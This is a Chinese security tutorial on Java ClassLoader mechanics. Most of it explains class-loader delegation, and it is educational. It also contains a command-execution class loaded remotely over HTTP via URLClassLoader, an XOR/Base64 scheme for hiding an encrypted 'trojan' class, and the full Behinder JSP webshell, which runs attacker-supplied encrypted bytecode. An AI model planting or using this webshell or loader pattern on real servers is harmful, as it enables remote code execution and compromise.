freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

JAVA安全 | Classloader:理解与利用一篇就够了
2024-09-08 00:07:18

前言

ClassLoader 作为 JAVA 安全研究基础又核心的部分, 本篇文章将从0到1理解 ClassLoader, 并在理解 ClassLoader 途中融入 ClassLoader 的攻击方式, 并根据 ClassLoader 机制分析冰蝎 WEBSHELL 的运行核心逻辑, 除此之外也介绍某些 ClassLoader 在代码审计中的妙用.

ClassLoader

jvm启动的时候, 并不会一次性加载所有的class文件, 而是根据需要去动态加载. 否则一次性加载那么多jar包那么多class, 那内存将崩溃.

Java 类 && Class 文件

定义Heihu577.java文件, 内容如下:

public class Heihu577 {
    public static void main(String[] args){
        System.out.println("Hello World");
    }
}

随后命令行执行命令:

C:\Users\Administrator\Desktop\ClassLoader>javac Heihu577.java 
>> 这条命令将进行编译 Heihu577.java 文件, 生成 Heihu577.class 文件
C:\Users\Administrator\Desktop\ClassLoader>java Heihu577
Hello World
>> 这条命令将执行 Heihu577::main 方法
C:\Users\Administrator\Desktop\ClassLoader>javap -c -p -l Heihu577.class
Compiled from "Heihu577.java"
public class Heihu577 {
  public Heihu577();
    Code:
       0: aload_0
       1: invokespecial #1                  // Method java/lang/Object."<init>":()V
       4: return
    LineNumberTable:
      line 1: 0

  public static void main(java.lang.String[]);
    Code:
       0: getstatic     #2                  // Field java/lang/System.out:Ljava/io/PrintStream;
       3: ldc           #3                  // String Hello World
       5: invokevirtual #4                  // Method java/io/PrintStream.println:(Ljava/lang/String;)V
       8: return
    LineNumberTable:
      line 3: 0
      line 4: 8
}
>> 这条命令将生成 Java 字节码, 进行反汇编的一个操作, JVM执行的其实就是如上javap命令生成的字节码。

最终可以执行Hello World, 当然, 这是一个比较基础的案例. 当然了, 这里我们提一嘴JAVA中所用的环境变量, 因为后续的学习需要用到:

C:\Users\Administrator\Desktop\ClassLoader>echo %JAVA_HOME%
>> 运行结果: D:\SoftWare\Java8
C:\Users\Administrator\Desktop\ClassLoader>echo %PATH%
>> 运行结果: C:\ProgramData\Oracle\Java\javapath;D:\SoftWare\Python3\Scripts\;D:\SoftWare\Python3\;C:\Users\Administrator\AppData\Local\Microsoft\WindowsApps;C:\Windows;C:\Windows\System32\OpenSSH\;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\system32;D:\SoftWare\Microsoft VS Code\bin;D:\SoftWare\VM\VmSoftWare\bin\;D:\SoftWare\phpstudy_pro\Extensions\MySQL8.0.12\bin;D:\SoftWare\Java8\bin\;D:\SoftWare\C\mingw64\bin;;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;D:\SoftWare\NodeJs\;C:\Users\Administrator\AppData\Local\Microsoft\WindowsApps;;D:\SoftWare\Microsoft VS Code\bin;D:\SoftWare\IntelliJ IDEA 2023.2.1\bin;;C:\Users\Administrator\AppData\Roaming\npm

C:\Users\Administrator\Desktop\ClassLoader>echo %CLASSPATH%
>> 运行结果: %CLASSPATH%

Java 类加载器

Java 类加载流程

Java语言系统自带有三个类加载器, 分别为如下:

BootStrap ClassLoader

Bootstrap ClassLoader: 最顶层的加载类, 主要加载核心类库,%JRE_HOME%\lib下的rt.jar、resources.jar、charsets.jarclass等,其中的rt.jar包中包含了java.lang,java.io等包, 所以我们可以直接在一个干净的java环境中进行引入FileInputStream, Integer, String类等, 如图:

image

当然, 我们也可以通过如下代码进行查看Bootstrap ClassLoader具体扫描了哪些包:

package com.heihu577;

public class HeihuHello {
    public static void main(String[] args) {
        ClassLoader classLoader = String.class.getClassLoader(); // 得到 String 这个类是由哪个 ClassLoader 加载的. 这里返回 null, 说明是被 BootStrap ClassLoader 所加载了, 我们在尝试获取被Bootstrap ClassLoader类加载器所加载的类的ClassLoader时候都会返回null。
        String searchPath = System.getProperty("sun.boot.class.path"); // sun.boot.class.path 是 bootstrap 所扫描包的路径
        System.out.println("当前扫描路径为: " + searchPath);
        /*
        	当前扫描路径为: D:\SoftWare\Java8\jre\lib\resources.jar;D:\SoftWare\Java8\jre\lib\rt.jar;D:\SoftWare\Java8\jre\lib\sunrsasign.jar;D:\SoftWare\Java8\jre\lib\jsse.jar;D:\SoftWare\Java8\jre\lib\jce.jar;D:\SoftWare\Java8\jre\lib\charsets.jar;D:\SoftWare\Java8\jre\lib\jfr.jar;D:\SoftWare\Java8\jre\classes
        */
    }
}

当然了, 除了这个固定的扫描包的规则之外, 我们还可以通过-Xbootclasspath参数增加要扫描的包,-Xbootclasspath解释如下:

-Xbootclasspath:路径 指定的路径会完全取代jdk核心的搜索路径
-Xbootclasspath/a:路径 指定的路径会append(追加)在核心搜索路径之后
-Xbootclasspath/p:路径 指定的路径会prefix(之前)在核心搜索路径之后

测试这三种结果, 再测试一个没有增加该参数的情况:

image

通常都使用 /a 参数, 该扫描路径有一个先后顺序问题, 当前后两个jar包中, 存在两个相同包相同名称的类时, 先被扫描到的包下的类, 将被 JVM 解析.

Ext ClassLoader

扩展的类加载器,加载目录%JRE_HOME%\lib\ext目录下的jar包和class文件。还可以加载-D java.ext.dirs选项指定的目录。

根据上面的案例, 我们进行如下操作:

image

随后准备如下代码:

package com.heihu577;

import org.apache.commons.dbutils.AbstractQueryRunner;

public class HeihuHello {
    public static void main(String[] args) {
        ClassLoader classLoader = AbstractQueryRunner.class.getClassLoader(); // 得到加载 AbstractQueryRunner 类的 ClassLoader
        System.out.println(classLoader); // sun.misc.Launcher$ExtClassLoader@29453f44
        String extDirs = System.getProperty("java.ext.dirs"); // ExtClassLoader 通过 java.ext.dirs 查看扫描路径
        System.out.println(extDirs); // D:\SoftWare\Java8\jre\lib\ext;C:\WINDOWS\Sun\Java\lib\ext
    }
}

可以看到, 此时classLoader则变为了ExtClassLoader所加载进来的, 当然, 我们也可以指明-D参数来修改ExtClassLoader扫描的路径, 如图:

image

注意: 这里图中应该改为配置dirs D:\BaiduNetdiskDownload\

最后运行结果:

sun.misc.Launcher$AppClassLoader@18b4aac2
D:\BaiduNetdiskDownload\

这种方式当然也不要随意用, 只是做环境测试.

App ClassLoader

这里我们App ClassLoader其实读取的就是我们的CLASSPATH, 当然也是我们IDEA中运行代码时所指明的参数, 准备如下代码:

public class HeihuHello {
    public static void main(String[] args) {
        ClassLoader classLoader = AbstractQueryRunner.class.getClassLoader();
        System.out.println(classLoader);
        String myClassPath = System.getProperty("java.class.path");
        System.out.println(myClassPath);
    }
}

运行结果 (包含命令行):

>> 注意运行命令中的 -classpath 参数
D:\SoftWare\Java8\bin\java.exe "-javaagent:D:\SoftWare\IntelliJ IDEA 2023.2.1\lib\idea_rt.jar=8196:D:\SoftWare\IntelliJ IDEA 2023.2.1\bin" -Dfile.encoding=UTF-8 -classpath CLASSPATH值 com.heihu577.HeihuHello

>> 运行结果
sun.misc.Launcher$AppClassLoader@18b4aac2
CLASSPATH值

进程已结束,退出代码为 0

当然了,AppClassLoader父亲(不是父类)ExtClassLoader:

public class HeihuHello {
    public static void main(String[] args) {
        ClassLoader classLoader = AbstractQueryRunner.class.getClassLoader();
        System.out.println(classLoader); // sun.misc.Launcher$AppClassLoader@18b4aac2
        System.out.println(classLoader.getParent()); // sun.misc.Launcher$ExtClassLoader@12a3a380
    }
}

理解完这三种 ClassLoader 后, 笔者在这里准备了一个本地脚本, 用来运行并理解每次clazz.getClassLoader的返回值:

package com.heihu577;
public class Main {
    public static void main(String[] args) throws ClassNotFoundException {
  System.out.println("================================BootStrapClassLoader================================");
        String envKey = "sun.boot.class.path";
        String envValue = System.getProperty(envKey);
        String bootStrapClassName = "java.lang.Integer"; // 默认在 lib\rt.jar 包中
        System.out.println(envKey + " => " + envValue); // 得到 BootStrap 加载的所有 jar 包
        System.out.println(bootStrapClassName + " => " + Class.forName(bootStrapClassName).getClassLoader()); // 因为是BootStrap加载, 所以这里应该返回 NULL
        System.out.println("--------------------------------运行时指明参数----------------------------------");
        System.out.println("-Xbootclasspath:路径 指定的路径会完全取代jdk核心的搜索路径\n" +
                "-Xbootclasspath/a:路径 指定的路径会append(追加)在核心搜索路径之后\n" +
                "-Xbootclasspath/p:路径 指定的路径会prefix(之前)在核心搜索路径之后");
        System.out.println("================================ExtClassLoader================================");
        envKey = "java.ext.dirs";
        envValue = System.getProperty(envKey);
        String extClassName = "com.sun.nio.zipfs.JarFileSystemProvider"; // 默认在 /lib/ext/zipfs 包中
        System.out.println(envKey + " => " + envValue);
        System.out.println(extClassName + " => " + Class.forName(extClassName).getClassLoader());
        // 因为是 ExtClassLoader 加载, 所以是 sun.misc.Launcher$ExtClassLoader
        System.out.println("--------------------------------运行时指明参数----------------------------------");
        System.out.println("-Djava.ext.dirs=目录");
        System.out.println("================================AppClassLoader================================");
        envKey = "java.class.path";
        envValue = System.getProperty(envKey);
        System.out.println(envKey + " => " + envValue);
        String appClassName = "lombok.Data";
        System.out.println(appClassName + " => " + Class.forName(appClassName).getClassLoader());
        /*
        * <dependencies>
            <dependency>
                <groupId>org.projectlombok</groupId>
                <artifactId>lombok</artifactId>
                <version>1.18.20</version>
            </dependency>
          </dependencies>
        * */
    }
}

接下来抛出一个问题,AppClassLoader, ExtClassLoader是如何被创建的?

Launcher

上面的代码可以看到,AppClassLoader, ExtClassLoader都是属于sun.misc.Launcher类中的一个成员类, 我们看一下Launcher类的具体操作如下:

image

双亲委派模式

图文解释

一个类加载器查找class和resource时,是通过委托模式进行的,它首先判断这个class是不是已经加载成功,如果没有的话它并不是自己进行查找,而是先通过父加载器,然后递归下去,直到Bootstrap ClassLoader,如果Bootstrap classloader找到了,直接返回,如果没有找到,则一级一级返回,最后到达自身去查找这些对象, 这种机制就叫做双亲委托. 具体可以参考下图:

image

代码解释

只有代码图不顶用, 下面我们跟进源代码进行Debug查看一下:

image

Bootstrap ClassLoader是由C/C++编写的,它本身是虚拟机的一部分,所以它并不是一个JAVA类,也就是无法在java代码中获取它的引用,

JVM启动时通过Bootstrap类加载器加载rt.jar等核心jar包中的class文件,之前的int.class,String.class都是由它加载。

然后呢,我们前面已经分析了,JVM初始化sun.misc.Launcher并创建Extension ClassLoader和AppClassLoader实例。

并将ExtClassLoader设置为AppClassLoader的父加载器。Bootstrap没有父加载器,但是它却可以作用一个ClassLoader的父加载器。

比如ExtClassLoader。这也可以解释之前通过ExtClassLoader的getParent方法获取为Null的现象。

使用双亲委派模式的好处则是, 我们无法去替换Java核心API, 例如:

image

当然, 类加载器也解决了重复加载问题.

URLClassLoader

从上面我们研究双亲委派模式时进行Debug了源代码, 可以发现的是,URLClassLoaderExtClassLoader && AppClassLoader父类(不是父亲),

public class Launcher {
    static class ExtClassLoader extends URLClassLoader {}
	static class AppClassLoader extends URLClassLoader {}
}

URLClassLoader 的作用是可以从指定的jar文件和目录中加载类和资源. 其中它有两个重要的构造方法值得我们去实现并学习:

public URLClassLoader(URL[] urls, ClassLoader parent){
    // 作用: 使用指定的父加载器加载对象, 从指定的 urls 路径来查询, 并加载类
    // ...
}

public URLClassLoader(URL[] urls) {
    // 作用: 使用默认的父加载器 (AppClassLoader) 创建一个 ClassLoader 对象, 从指定的 urls 路径来查询, 并加载类
	// ...
}

如果使用第二个构造器, 那么URLClassLoaderparent将是AppClassLoader, 我们可以通过下图解释:

image

使用 URLClassLoader 加载&&执行 Jar 包

首先创建一个jar包, 如下:

image

根据上面的代码, 我们成功创建了一个jar包, 其中, 定义了com.utils.SayHello类以及在其中定义了hi方法, 创建测试代码, 如下:

public class HeihuHello {
    public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
        File file = new File("D:/MyJarTest.jar"); // 把刚刚生成好的 jar 文件放入到这里
        URL[] urls = new URL[]{file.toURL()}; // 生成 URL
        URLClassLoader urlClassLoader = new URLClassLoader(urls); // 实例化 URLClassLoader, 父亲是 AppClassLoader
        Class<?> clazz = urlClassLoader.loadClass("com.utils.SayHello"); // 根据委派模式, AppClassLoader 及父类都找不到, 最终在本 URLClassLoader 进行查找, 而本 URLClassLoader 路径中又包含 File 对象, 最终从本 File 对象找到了类
        Object o = clazz.newInstance(); // com.utils.SayHello@6e0be858, 这里可以成功生成对象
        Method hi = clazz.getMethod("hi", new Class[]{});
        hi.invoke(o); // com.utils::hi~ ^_^
    }
}

URLClassLoader 因为委派模式导致的 "歧义" 问题

com.utils.SayHello项目中的pom.xml文件中引入一个Jackson, 如下:

<dependencies>
    <dependency>
        <groupId>com.fasterxml.jackson.core</groupId>
        <artifactId>jackson-core</artifactId>
        <version>2.11.0</version> <!-- 2.11.0 中存在 getFormatGeneratorFeatures 方法 -->
    </dependency>
</dependencies>

修改com.utils.SayHello::hi方法为如下内容:

public class SayHello {
    public static void main(String[] args) {
        System.out.println("Hi~");
    }

    public void hi() {
        System.out.println("com.utils::hi~ ^_^ JacksonTest: " + (new JsonFactory()).getFormatGeneratorFeatures()); // 因为编译器上下文环境中存在 getFormatGeneratorFeatures (也就是编辑器使用的是2.11.0版本), 所以编译不会出错.
    }
}

因为我们通过Maven增加了Jackson包, 所以我们设置在打jar包时, 一定要有提取到目标Jar (移除工件再添加工件即可), 如图:

image

重新定义后, 再构建项目即可.

image

确认打包好的内容, 存在 jackson, 如图:

image


在我们ClassLoader测试环境中, 在pom.xml文件声明如下选项:

<dependency>
    <groupId>com.fasterxml.jackson.core</groupId>
    <artifactId>jackson-core</artifactId>
    <version>2.5.4</version> <!-- 2.5.4 版本不存在 getFormatGeneratorFeatures -->
</dependency>

最终测试结果:

public class HeihuHello {
    public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
        File file = new File("D:/MyJarTest.jar"); // 把刚刚生成好的 jar 文件放入到这里
        URL[] urls = new URL[]{file.toURL()}; // 生成 URL
        URLClassLoader urlClassLoader = new URLClassLoader(urls); // 实例化 URLClassLoader, 父亲是 AppClassLoader
        Class<?> clazz = urlClassLoader.loadClass("com.utils.SayHello");
        // 根据委派模式, AppClassLoader 及父类都找不到, 最终在本 URLClassLoader 进行查找, 而本 URLClassLoader 路径中又包含 File 对象, 最终从本 File 对象找到了类
        Object o = clazz.newInstance(); // com.utils.SayHello@6e0be858, 这里可以成功生成对象
        Method hi = clazz.getMethod("hi", new Class[]{});
        hi.invoke(o);
        /*
        * Caused by: java.lang.NoSuchMethodError: com.fasterxml.jackson.core.JsonFactory.getFormatGeneratorFeatures()I
            at com.utils.SayHello.hi(SayHello.java:16)
            ... 5 more
          这里会抛出异常, 因为加载类的方式是委派的, 当我们委派到 AppClassLoader 时, 加载了我们本环境中 2.5.4 的 Jackson, 而 2.5.4 的 Jackson 是不存在 getFormatGeneratorFeatures 方法的, 所以这里会报错.
        * */
    }
}

解决办法:

使用URLClassLoader的指明父亲的构造器, 代码如下:

public class HeihuHello {
    public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
        File file = new File("D:/MyJarTest.jar");
        URL[] urls = new URL[]{file.toURL()};
        URLClassLoader urlClassLoader = new URLClassLoader(urls, HeihuHello.class.getClassLoader().getParent());
        // ClassLoader.getSystemClassLoader() -> 返回 AppClassLoader
        // AppClassLoader -> parent -> ExtClassLoader
        Class<?> clazz = urlClassLoader.loadClass("com.utils.SayHello");
        // ExtClassLoader 及其父类都找不到 Jackson 包, 随后交给我们当前的 URLClassLoader 进行扫描, 最终扫描到了已打包好的 Jackson
        Object o = clazz.newInstance();
        Method hi = clazz.getMethod("hi", new Class[]{});
        hi.invoke(o);
    }
}

URLClassLoader 远程加载 WebShell

准备如下类:

public class CMD {
    /**
     *
     * @param cmd 要执行的命令
     * @return 命令执行的结果
     */
    public static String Exec(String cmd) {
        try {
            Process process = Runtime.getRuntime().exec(cmd);
            InputStream is = process.getInputStream();
            byte[] myChunk = new byte[1024];
            int tmp = 0;
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            while ((tmp = is.read(myChunk)) != -1) {
                byteArrayOutputStream.write(myChunk, 0, tmp);
            }
            return new String(byteArrayOutputStream.toByteArray());
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

然后打一个jar包, 开启网络服务.

image

准备如下代码, 测试运行结果:

public class Main {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        URL[] urls = new URL[]{new URL("http://127.0.0.1:8000/MyJarTest.jar")}; // 解析 jar 包
        URLClassLoader urlClassLoader = new URLClassLoader(urls);
        Class<?> clazz = urlClassLoader.loadClass("CMD"); // 解析 jar 包中的 CMD.class 文件
        Method method = clazz.getMethod("Exec", String.class);
        String result = (String) method.invoke(null, "whoami");
        System.out.println(result); // heihubook\administrator
    }
}

当然了, 也可以将CMD.class文件放入到WEB服务根目录, 如图:

image

随后准备如下代码:

public class Main {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        URL[] urls = new URL[]{new URL("http://127.0.0.1:8000/")}; // 当成目录
        URLClassLoader urlClassLoader = new URLClassLoader(urls);
        Class<?> clazz = urlClassLoader.loadClass("CMD"); // 会读取目录下的 CMD.class 类
        Method method = clazz.getMethod("Exec", String.class);
        String result = (String) method.invoke(null, "whoami");
        System.out.println(result); // heihubook\administrator
    }
}

使用URLClassLoader,传入的地址,如果以/结尾,则会当做目录, 去这个目录下找类,否则就会将这个地址后的文件当做jar包,从jar包中找类。

当然了, 这里可以学习 ClassLoader-JSP 马的应用: https://www.freebuf.com/articles/web/323775.html

自定义 ClassLoader

ClassLoader类有如下核心方法:

  1. loadClass(加载指定的Java类)如果自定义 ClassLoader 重写 loadClass 方法, 那么将打破双亲委派机制! 因为双亲委派机制是在 loadClass 方法上产生的.

  2. findClass(查找指定的Java类)

  3. findLoadedClass(查找JVM已经加载过的类)

  4. defineClass(定义一个Java类)如果调用到任意 ClassLoader 的 defineClass 方法, 并传入相应的字节码, 那么 JVM 便加载该类 (如果该类继承 | 实现了某个类 | 接口, 那么会先加载父类 | 接口). 唯一一点是自定义ClassLoader加载某个类时, 类包名不允许以java.打头, 否则会抛出异常.

  5. resolveClass(链接指定的Java类)

为什么需要自定义 ClassLoader

AppClassLoader && ExtClassLoader的源代码中看到, 这两个类加载器都是遵循委派模式的, 是如下逻辑:

顶级父类加载 -> 父类加载 -> 加载不到再本地加载

那么如果我们想打破这个委派原则, 想进行如下加载逻辑:

本类加载 -> 加载不到再父类加载

其实本质也就是打破委派模式, 通过自己的想法去查找类, 该如何做呢?此时我们自定义ClassLoader登场了.

自定义步骤

  1. 编写一个类继承自ClassLoader抽象类.

  2. 复写它的findClass()方法, 用于查找类.

  3. findClass()方法中调用defineClass().

public class customClassLoader extends ClassLoader {
    private String baseUrl;
    /**
     * @param baseUrl: 可以放置我们 .class 文件所在的目录
     */
    public customClassLoader(String baseUrl) {
        this.baseUrl = baseUrl.replace('\\', File.separatorChar).replace('/', File.separatorChar);
    }
    /**
     * 重写 findClass 方法,用于从特定位置加载类, 注意一定要 return defineClass(XXX);
     * @param name : 接收 "包名.类名"
     * @return : 返回 defineClass 的返回结果, 其中 defineClass(类名, 类的字节码, 0, 类的字节码大小) 可以加载字节码到 JVM
     */
    @Override
    protected Class<?> findClass(String name) throws ClassNotFoundException {
        byte[] b = loadClassData(name); // 已经定义好的类的字节码, 在这里我们定义了 loadClassData, 在磁盘上进行读取文件
        if (b == null) {
            throw new ClassNotFoundException();
        }
        Class<?> resClass = defineClass(name, b, 0, b.length);
        if (resClass == null) {
            return super.findClass(name); // 如果是 null, 那么就从父亲找
        }
        return resClass; // 使用 defineClass 方法来定义类
    }
    /**
     * @param name : 传入类名称, 通过拼接父目录的形式, 找到当前类的 class 文件, 读取并返回.
     * @return : 读取 class 文件内容, 并返回
     */
    private byte[] loadClassData(String name) {
        // 以下是一个简单的从文件系统中加载类的示例
        String fileName = name.replace('.', File.separatorChar) + ".class";
        File classFile =
                new File(this.baseUrl, fileName);
        // 替换为你的类文件路径
        if (!classFile.exists()) {
            return null; // 类文件不存在,返回 null
        }
        try (FileInputStream fis = new FileInputStream(classFile);
             ByteArrayOutputStream bos = new ByteArrayOutputStream()) {
            byte[] buffer = new byte[1024];
            int bytesRead;
            while ((bytesRead = fis.read(buffer)) != -1) {
                bos.write(buffer, 0, bytesRead);
            }
            return bos.toByteArray(); // 返回类的字节码
        } catch (IOException e) {
            e.printStackTrace();
            return null; // 发生异常,返回 null
        }
    }
    // 示例:使用 CustomClassLoader 加载并实例化一个类
    public static void main(String[] args) throws Exception {
        customClassLoader classLoader = new customClassLoader("C:\\Users\\Administrator\\IdeaProjects\\ClassLoaderStudy\\target\\classes");
        Class<?> clazz = classLoader.findClass("com.bean.Hi"); // 替换为你的类名
        Object instance = clazz.getDeclaredConstructor().newInstance(); // 假设类有一个无参构造方法
        // ... 现在你可以使用 instance 做你想做的事情 ...
        System.out.println(instance); // com.bean.Hi@45ee12a7
    }
}

随后我们定义com.bean.Hi文件内容如下:

public class Hi {
    public void sayHi() {
        System.out.println("Hi::sayHi...");
    }
}

其中加载的理解图如下:

image

利用 ClassLoader 对 class 文件进行加解密

准备如下工具类:

public class ToolUtils {
    /**
     * 将传递过来的数据, 进行每一位异或v后, 然后进行 Base64 加密操作
     *
     * @param data 原始数据
     * @param v    异或的数字
     * @return 加密后的值
     */
    public static byte[] Byte2Base64(byte[] data, int v) {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        for (int i = 0; i < data.length; i++) {
            byte nowByte = (byte) (data[i] ^ v);
            byteArrayOutputStream.write(nowByte);
        }
        return Base64.getEncoder().encode(byteArrayOutputStream.toByteArray());
    }

    /**
     * 将传递过来的 Base64, 进行解码, 解码后对每一位异或 v
     *
     * @param base64 base64值
     * @param v      异或的数字
     * @return 解密后的数据
     */
    public static byte[] Base642Byte(byte[] base64, int v) {
        byte[] data = Base64.getDecoder().decode(base64);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        for (int i = 0; i < data.length; i++) {
            byte nowByte = (byte) (data[i] ^ v);
            byteArrayOutputStream.write(nowByte);
        }
        return byteArrayOutputStream.toByteArray();
    }
}

随后进行测试:

public class Main {
    public static void main(String[] args) throws IOException {
        String dstFile = "C:/Windows/win.ini";
        FileInputStream fis = new FileInputStream(dstFile);
        byte[] data = IOUtils.readFully(fis, fis.available(), false);
        System.out.println("读取 " + dstFile + " 文件, 文件内容: \n" + new String(data) + "\n---------------------------");
        byte[] MiWen = ToolUtils.Byte2Base64(data, 2);
        System.out.println("加密后的文件内容: \n" + new String(MiWen) + "\n---------------------------");
        byte[] MingWen = ToolUtils.Base642Byte(MiWen, 2);
        System.out.println("解密后的文件内容: \n" + new String(MingWen));
        /*
        	读取 C:/Windows/win.ini 文件, 文件内容: 
            ; for 16-bit app support
            [fonts]
            [extensions]
            [mci extensions]
            [files]
            [Mail]
            MAPI=1
            ---------------------------
            加密后的文件内容:  OSJkbXAiMzQvYGt2ImNyciJxd3JybXB2DwhZZG1sdnFfDwhZZ3p2Z2xxa21scV8PCFlvYWsiZ3p2Z2xxa21scV8PCFlka25ncV8PCFlPY2tuXw8IT0NSSz8zDwg=
            ---------------------------
            解密后的文件内容: 
            ; for 16-bit app support
            [fonts]
            [extensions]
            [mci extensions]
            [files]
            [Mail]
            MAPI=1
        */
    }
}

那么我们在此基础之上, 进行一个开发ClassLoader的一个操作, 用来加密.class文件.


创建customClassLoader类, 定义如下:

public class customClassLoader extends ClassLoader {
    public String Path;

    public customClassLoader(String Path) {
        this.Path = Path;
    }

    @Override
    protected Class<?> findClass(String name) throws ClassNotFoundException {
        if (name.equals("org.muma.myMuma")) { // 只对 org.muma.myMuma 进行操作
            try {
                File file = new File(this.Path);
                byte[] bytes = Base642Byte(IOUtils.readFully(new FileInputStream(file), (int) file.length(), true), 2);
                return defineClass(name, bytes, 0, bytes.length);
            } catch (FileNotFoundException e) {
                throw new RuntimeException(e);
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
        }
        return super.findClass(name);
    }

    private byte[] Base642Byte(byte[] base64, int v) {
        byte[] data = Base64.getDecoder().decode(base64);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        for (int i = 0; i < data.length; i++) {
            byte nowByte = (byte) (data[i] ^ v);
            byteArrayOutputStream.write(nowByte);
        }
        return byteArrayOutputStream.toByteArray();
    }
}

随后我们定义org.muma.myMuma, 如下:

public class myMuma {
    public void getShell() {
        System.out.println("myMuma::getShell~");
    }
}

随后我们编写一个加密器, 专门对myMuma生成出来的class文件进行加密, 如下:

public class Encode {
    public static void main(String[] args) throws IOException {
        ClassLoader classLoader = Encode.class.getClassLoader(); // 这里是 AppClassLoader
        InputStream is = classLoader.getResourceAsStream("org/muma/myMuma.class");
        // 读取 classpath 下的 org/muma/myMuma.class 文件
        byte[] classFileData = IOUtils.readFully(is, is.available(), true); // 读取到字节内容
        byte[] classFileNewData = ToolUtils.Byte2Base64(classFileData, 2); // 加密字节内容

        FileOutputStream fos = new FileOutputStream("D:/myMumaEnc.class");
        fos.write(classFileNewData); // 将结果写入到 D:/myMumaEnc.class
        fos.flush();
        fos.close();
    }
}

运行结束后,D:/myMumaEnc.class则是我们的加密文件.

image

那么我们看一下如何解密,定义&&运行如下代码:

public class Decode {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
        customClassLoader customClassLoader = new customClassLoader("D:/myMumaEnc.class");
        Class<?> clazz = customClassLoader.loadClass("org.muma.myMuma");
        System.out.println(clazz); // class org.muma.myMuma
        Object o = clazz.getDeclaredConstructor().newInstance();
        Method getShell = clazz.getDeclaredMethod("getShell");
        getShell.invoke(o, null); // myMuma::getShell~
    }
}

当然了, 我们也可以将生成好的Base64值硬放入到我们的类加载器中, 不管查询什么类, 最终都返回我们的org.muma.myMuma, 如下:

public class MyDataClassLoader extends ClassLoader {
    private String data = "yPy4vAICAjYCHQgCBAITCwIQAhEKAhYIAhcCFAUCFQUCGgMCBD5rbGt2PAMCASorVAMCBkFtZmcDAg1Oa2xnTHdvYGdwVmNgbmcDAhBObWFjblRjcGtjYG5nVmNgbmcDAgZ2amtxAwITTm1wZS1vd29jLW97T3dvYzkDAgplZ3ZRamdubgMCCFFtd3BhZ0RrbmcDAglve093b2MsaGN0Yw4CBQIKBQIbDgIYAhkDAhNve093b2M4OGVndlFqZ25ufAUCHg4CHwIcAwINbXBlLW93b2Mtb3tPd29jAwISaGN0Yy1uY2xlLU1gaGdhdgMCEmhjdGMtbmNsZS1Re3F2Z28DAgFtd3YDAhdOaGN0Yy1rbS1ScGtsdlF2cGdjbzkDAhFoY3RjLWttLVJwa2x2UXZwZ2NvAwIFcnBrbHZubAMCFypOaGN0Yy1uY2xlLVF2cGtsZTkrVAIjAgcCBAICAgICAAIDAgUCCgIDAgsCAgItAgMCAwICAgcotQIDswICAgACCAICAgQCAwICAgoCCQICAg4CAwICAgcCDgIPAgICAwIMAgoCAwILAgICNQIAAgMCAgILsAIAEAG0AgazAgICAAIIAgICCAIAAgICCAIKAgkCCQICAg4CAwICAgsCDgIPAgICAwINAgICAAIS"; // 将一整个字节码做为属性了

    @Override
    public Class<?> loadClass(String name) throws ClassNotFoundException {
        if (name.equals("org.muma.myMuma")) {
            byte[] bytes = Base642Byte(this.data.getBytes(), 2);
            return defineClass(name, bytes, 0, bytes.length);
        }
        return super.loadClass(name);
    }

    private byte[] Base642Byte(byte[] base64, int v) {
        byte[] data = Base64.getDecoder().decode(base64);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        for (int i = 0; i < data.length; i++) {
            byte nowByte = (byte) (data[i] ^ v);
            byteArrayOutputStream.write(nowByte);
        }
        return byteArrayOutputStream.toByteArray();
    }
}

最终运行结果:

public class Test2 {
    public static void main(String[] args) throws ClassNotFoundException {
        MyDataClassLoader myDataClassLoader = new MyDataClassLoader();
        Class<?> aClass = myDataClassLoader.loadClass("org.muma.myMuma");
        System.out.println(aClass); // class org.muma.myMuma
    }
}

冰蝎 WEBSHELL 核心运行逻辑

冰蝎中JSP-WEBSHELL如下:

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }

        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
%>
<%
    if (request.getMethod().equals("POST")) {
        String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
        session.putValue("u", k);
        Cipher c = Cipher.getInstance("AES");
        c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
        new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
    }
%>

首先我们分析一下U这个类:

image

可以看到的是, 我们继承了 ClassLoader 这个类, 其中调用了父类的构造方法, 其核心目的就是将传入进来的 ClassLoader 作为 parent, 下面g方法的定义, 传入byte[]类型的数据, 最终调用到ClassLoader::defineClass方法进行加载字节码, 对于理解来说还是比较容易的, 我们只需要调用U对象的g方法, 传入恶意字节码即可执行我们恶意类中的内容.

